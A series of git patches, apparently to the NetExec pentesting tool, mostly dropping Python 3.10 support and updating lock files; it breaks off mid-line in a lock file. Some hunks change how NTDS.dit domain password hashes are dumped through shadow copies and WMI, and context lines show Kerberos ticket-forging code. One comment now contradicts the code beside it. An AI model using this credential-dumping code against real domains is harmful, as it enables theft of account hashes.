0x80041002: # WBEM_E_NOT_FOUND self.logger.fail(f"Cannot find file '{remote_path}'") else: - self.logger.debug(f"Error while downloading {remote_path}: {e}") + self.logger.debug(f"Error while downloading {remote_path}: {e}") return None def get_file_single(self, remote_path, download_path): From b37469c673f488dbdb78bb2e8cd735d34bf8dbaf Mon Sep 17 00:00:00 2001 From: snowpeacock Date: Wed, 30 Sep 2026 16:06:01 +0200 Subject: [PATCH 375/397] feat: switch VSS method to remoteSSWMI --- nxc/protocols/smb.py | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 085b3e21e0..65d532127c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -14,6 +14,7 @@ from impacket.smb import SMB_DIALECT from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED from impacket.examples.secretsdump import ( + LocalOperations, RemoteOperations, SAMHashes, LSASecrets, @@ -62,6 +63,7 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter +from nxc.paths import NXC_PATH from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC @@ -2434,6 +2436,7 @@ def add_lsa_secret(secret): def ntds(self): self.enable_remoteops() + is_remote = True use_vss_method = False NTDSFileName = None host_id = self.db.get_hosts(filter_term=self.host)[0][0] @@ -2488,20 +2491,23 @@ def add_hash(secret_type, secret, host_id): add_hash.kerb_secrets = 0 add_hash.added_to_db = 0 - if self.remote_ops: - try: - if self.args.ntds == "vss": - NTDSFileName = self.remote_ops.saveNTDS() - use_vss_method = True - except Exception as e: - self.logger.fail(e) + if self.args.ntds == "vss": + use_vss_method = True + is_remote = False + output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", self.hostname)) + os.makedirs(output_folder, exist_ok=True) + sam_path, system_path, security_path, NTDSFileName = ( + self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True) + ) + localOps = LocalOperations(system_path) + self.bootkey = localOps.getBootKey() self.output_filename = self.output_file_template.format(output_folder="ntds") NTDS = NTDSHashes( NTDSFileName, self.bootkey, - isRemote=True, + isRemote=is_remote, history=self.args.history, noLMHash=True, remoteOps=self.remote_ops, From 07aef24f0fae71e220dbdead0f157ee8a8073cf2 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 1 Oct 2026 10:03:25 +0200 Subject: [PATCH 376/397] fix error with shadow copy filesize --- nxc/protocols/wmi.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 313499ee2b..2084a5f0c7 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,4 +1,5 @@ import os +import re import struct import binascii from Cryptodome.Hash import MD4 @@ -418,6 +419,13 @@ def read_file(self, remote_path) -> bytes | None: # in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail # File is too big, let's try to copy it the dirty way + live_path = re.sub( + r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+", + "C:", + escaped_path, + flags=re.IGNORECASE, + ) + # Check file size def callback_func(iEnumWbemClassObject, records): wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] @@ -426,7 +434,7 @@ def callback_func(iEnumWbemClassObject, records): callback_func.size = 0 - wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" + wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'" self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # Get the file chunk by chunk with command exec From ea761c1330eaf5dcfd80f46891b7febdf7572f61 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:12:12 -0400 Subject: [PATCH 377/397] Sanitize filename --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index c1a3c1ed68..a18ab26be9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2500,7 +2500,7 @@ def add_hash(secret_type, secret, host_id): if self.args.ntds == "vss": use_vss_method = True is_remote = False - output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", self.hostname)) + output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname))) os.makedirs(output_folder, exist_ok=True) sam_path, system_path, security_path, NTDSFileName = ( self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True) From 7a199c211fd687d9864bed9113df2de83413bf7b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:12:17 -0400 Subject: [PATCH 378/397] Formatting --- nxc/protocols/smb.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a18ab26be9..d344dab5ec 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2502,9 +2502,7 @@ def add_hash(secret_type, secret, host_id): is_remote = False output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname))) os.makedirs(output_folder, exist_ok=True) - sam_path, system_path, security_path, NTDSFileName = ( - self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True) - ) + sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True) localOps = LocalOperations(system_path) self.bootkey = localOps.getBootKey() From 0ded751b31bbc73f9934864d9002f9c2906c5d8e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:20:49 -0400 Subject: [PATCH 379/397] Wording --- nxc/protocols/wmi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 2084a5f0c7..72b827cf3d 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -438,7 +438,7 @@ def callback_func(iEnumWbemClassObject, records): self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # Get the file chunk by chunk with command exec - self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download will take some time and use wmi command execution.") + self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.") data = b"" chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash chunk_count = (callback_func.size + chunk_size - 1) // chunk_size From 9592f690fd96515b9fd456d0491a1c598507efb2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:32:29 -0400 Subject: [PATCH 380/397] Remove py3.10 --- .github/workflows/build-zipapps.yml | 2 +- pyproject.toml | 8 +------- 2 files changed, 2 insertions(+), 8 deletions(-) diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 9cc1b18ef5..b029418b1b 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] + python-version: ["3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/pyproject.toml b/pyproject.toml index d992876c16..f46daeb450 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,7 +3,7 @@ name = "netexec" dynamic = ["version"] description = "The Network Execution tool" readme = "README.md" -requires-python = ">=3.10,<4.0" +requires-python = ">=3.11,<4.0" license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, @@ -100,12 +100,6 @@ dev = [ exclude-newer = "1 day" [tool.ruff] -target-version = "py310" -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] preview = true [tool.ruff.lint] From 8f2fa9689e61661d70a04fed96c2aa4164116b3f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:32:47 -0400 Subject: [PATCH 381/397] Ruff fixes --- nxc/helpers/pfx.py | 2 +- nxc/modules/raisechild.py | 4 ++-- nxc/protocols/rdp.py | 2 +- nxc/protocols/vnc.py | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 4ccdbfcfa4..a0a2c323a4 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -188,7 +188,7 @@ def build_asreq(self, domain=None, cname=None, kdcopts=None): else: cname = [self.cname] - now = datetime.datetime.now(datetime.timezone.utc) + now = datetime.datetime.now(datetime.UTC) kdc_req_body_data = {} kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts) diff --git a/nxc/modules/raisechild.py b/nxc/modules/raisechild.py index d1f0fa6e68..798d6fb93d 100644 --- a/nxc/modules/raisechild.py +++ b/nxc/modules/raisechild.py @@ -300,7 +300,7 @@ def _getBlockLength(length: int) -> int: def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO: kerbdata = KERB_VALIDATION_INFO() - now_utc = datetime.datetime.now(datetime.timezone.utc) + now_utc = datetime.datetime.now(datetime.UTC) now_unix = timegm(now_utc.timetuple()) now_filetime = self._getFileTime(now_unix) @@ -451,7 +451,7 @@ def _injectExtraSids(self, pac_infos: dict, extra_sid_csv: str | None) -> None: pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents() def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]: - now_utc = datetime.datetime.now(datetime.timezone.utc) + now_utc = datetime.datetime.now(datetime.UTC) end_utc = now_utc + datetime.timedelta(hours=duration_hours) enc_ticket_part = EncTicketPart() diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index ec8471fbff..04fb9d5334 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -468,7 +468,7 @@ async def execute_shell(self, payload, get_output, shell_type): clipboard_ready = True self.logger.debug("Clipboard is ready!") break - except asyncio.TimeoutError: + except TimeoutError: timeout_counter += 1 continue except (ConnectionResetError, ConnectionError, OSError) as e: diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index fc0e1c5866..e4cb67cc8e 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -101,7 +101,7 @@ def create_conn_obj(self): credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS) self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) - except asyncio.TimeoutError: + except TimeoutError: # asyncio.TimeoutError is only an alias of the builtin from 3.11 on, # and the project supports 3.10, so catch it by its asyncio name. self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}") @@ -145,7 +145,7 @@ def plaintext_login(self, username, password): ) return True - except asyncio.TimeoutError: + except TimeoutError: # Reporting an unresponsive server as a rejected password would be wrong: # nothing was authenticated, so say what actually happened. self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s") From 535f26ddc541fa7e54461bd7935f2f9cc46752e6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 2 Oct 2026 18:39:13 -0400 Subject: [PATCH 382/397] Update lock files --- poetry.lock | 87 +--------------------- uv.lock | 202 +--------------------------------------------------- 2 files changed, 6 insertions(+), 283 deletions(-) diff --git a/poetry.lock b/poetry.lock index eeefd043db..e47e615a71 100644 --- a/poetry.lock +++ b/poetry.lock @@ -105,7 +105,6 @@ files = [ ] [package.dependencies] -exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} idna = ">=2.8" typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} @@ -867,25 +866,6 @@ files = [ pycryptodomex = "*" pyopenssl = "*" -[[package]] -name = "exceptiongroup" -version = "1.3.1" -description = "Backport of PEP 654 (exception groups)" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, - {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, -] - -[package.dependencies] -typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} - -[package.extras] -test = ["pytest (>=6)"] - [[package]] name = "flake8" version = "7.3.0" @@ -2453,11 +2433,9 @@ files = [ [package.dependencies] colorama = {version = "*", markers = "sys_platform == \"win32\""} -exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} iniconfig = "*" packaging = "*" pluggy = ">=0.12,<2.0" -tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] @@ -2810,64 +2788,6 @@ files = [ {file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"}, ] -[[package]] -name = "tomli" -version = "2.4.1" -description = "A lil' TOML parser" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"}, - {file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"}, - {file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"}, - {file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"}, - {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"}, - {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"}, - {file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"}, - {file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"}, - {file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"}, - {file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"}, - {file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"}, - {file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"}, - {file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"}, - {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"}, - {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"}, - {file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"}, - {file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"}, - {file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"}, - {file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"}, - {file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"}, - {file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"}, - {file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"}, - {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"}, - {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"}, - {file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"}, - {file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"}, - {file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"}, - {file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"}, - {file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"}, - {file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"}, - {file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"}, - {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"}, - {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"}, - {file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"}, - {file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"}, - {file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"}, - {file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"}, - {file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"}, - {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"}, - {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"}, - {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"}, - {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"}, - {file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"}, - {file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"}, - {file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"}, - {file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"}, - {file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"}, -] - [[package]] name = "tqdm" version = "4.70.0" @@ -2895,12 +2815,11 @@ version = "4.16.0" description = "Backported and Experimental Type Hints for Python 3.9+" optional = false python-versions = ">=3.9" -groups = ["main", "dev"] +groups = ["main"] files = [ {file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"}, {file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"}, ] -markers = {dev = "python_version == \"3.10\""} [[package]] name = "typing-inspection" @@ -3041,5 +2960,5 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" -python-versions = ">=3.10,<4.0" -content-hash = "3941314ffac5bab30f27b72b1b92e60864f7ffa070459d4d3e5c7744d61921b0" +python-versions = ">=3.11,<4.0" +content-hash = "2bc6edf8e403d1825776e740407674a8d2a962ceb40eae16f30de098101ecd31" diff --git a/uv.lock b/uv.lock index dec08e727e..952d8f308f 100644 --- a/uv.lock +++ b/uv.lock @@ -1,9 +1,9 @@ version = 1 revision = 3 -requires-python = ">=3.10, <4.0" +requires-python = ">=3.11, <4.0" [options] -exclude-newer = "2026-09-14T19:59:32.76003989Z" +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. exclude-newer-span = "P1D" [[package]] @@ -86,7 +86,6 @@ name = "anyio" version = "4.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "idna" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] @@ -101,9 +100,6 @@ version = "0.5.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" }, - { url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" }, - { url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" }, { url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" }, { url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" }, { url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" }, @@ -113,8 +109,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" }, { url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" }, { url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" }, - { url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" }, - { url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" }, { url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" }, { url = 